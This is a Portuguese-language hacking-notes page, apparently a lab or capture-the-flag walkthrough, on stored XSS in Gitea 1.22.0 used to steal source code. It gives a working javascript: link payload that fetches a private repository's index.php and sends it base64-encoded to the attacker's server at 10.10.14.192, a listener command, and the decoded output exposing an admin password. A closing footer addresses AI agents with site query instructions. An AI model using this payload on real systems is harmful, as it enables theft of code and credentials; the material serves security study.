> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xxs-source-code-theft.md).

# Roubo de código-fonte via XSS

### XSS no Gitea (v1.22.0)

Em `http://localhost:3000` -> **Gitea** está acessível.

<figure><img src="/files/dde5be852c059a37fd76e39f484f4e8379a7be5c" alt=""><figcaption></figcaption></figure>

Conexão com as credenciais de Axel.

<figure><img src="/files/e1a056ce71fda01b23d55166aedb790c0c1761a7" alt=""><figcaption></figcaption></figure>

Vulnerabilidade XSS conhecida.

<figure><img src="/files/15e36151cfc40f3568df6f755063095bac0f6725" alt=""><figcaption></figcaption></figure>

Criamos um projeto com uma descrição contendo:

```bash
<a href=javascript:alert()>Teste de XSS</a>

```

<figure><img src="/files/3887065d22144e318d4303f023d4e1a6ba94a476" alt=""><figcaption></figcaption></figure>

* Resultado:

<figure><img src="/files/8a32edfec3cf8aab0e26d7cdba922d744e2aae01" alt=""><figcaption></figcaption></figure>

### E-mail interceptado via LinPEAS

<figure><img src="/files/b3aea752539100c537977246e620316d5de311f4" alt=""><figcaption></figcaption></figure>

conteúdo de um e-mail:

* jobert\@localhost deve verificar o repositório Gitea

<figure><img src="/files/4076a1e3ee0fb02cabfe1dbf8e749f3956ac4717" alt=""><figcaption></figcaption></figure>

Enviamos um link XSS contendo um script de exfiltração que lê o conteúdo da página `index.php` do repositório Gitea, codifica-o em Base64 e depois o envia ao nosso servidor web

{% code overflow="wrap" %}

```bash
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(response => response.text()).then(data => fetch('http://10.10.14.192:8080/?d=' + encodeURIComponent(btoa(unescape(encodeURIComponent(data))))));">PWNED</a>

```

{% endcode %}

<figure><img src="/files/0130c655ba2db039c5c94906adc2afb1ef7b4e65" alt=""><figcaption></figcaption></figure>

#### Por meio do nosso servidor web

```bash
python -m http.server 8080

```

<figure><img src="/files/22d255c47abb2a605b03f2cad979364d238f45ce" alt=""><figcaption></figcaption></figure>

#### Conteúdo exfiltrado (decodificado em Base64):

```bash
echo "PD9waHAKJHZhbGlkX3VzZXJuYW1lID0gJ2FkbWluJzsKJHZhbGlkX3Bhc3N3b3JkID0gJ0lLdzc1ZVIwTVI3Q01JeGhIMCc7CgppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8ICFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwgCiAgICAkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddICE9ICR2YWxpZF91c2VybmFtZSB8fCAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSAhPSAkdmFsaWRfcGFzc3dvcmQpIHsKICAgIAogICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iRW1wbG95ZWUgTWFuYWdlbWVudCInKTsKICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICAgZXhpdDsKfQoKaGVhZGVyKCdMb2NhdGlvbjogZGFzaGJvYXJkLnBocCcpOwpleGl0Owo%2FPgoK" | base64 -d

```

* $valid/\_username = 'admin';
* $valid/\_password = 'IKw75eR0MR7CMIxhH0';

<figure><img src="/files/be6c80506528ac7cad323c2361a6a63e416478f9" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xxs-source-code-theft.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
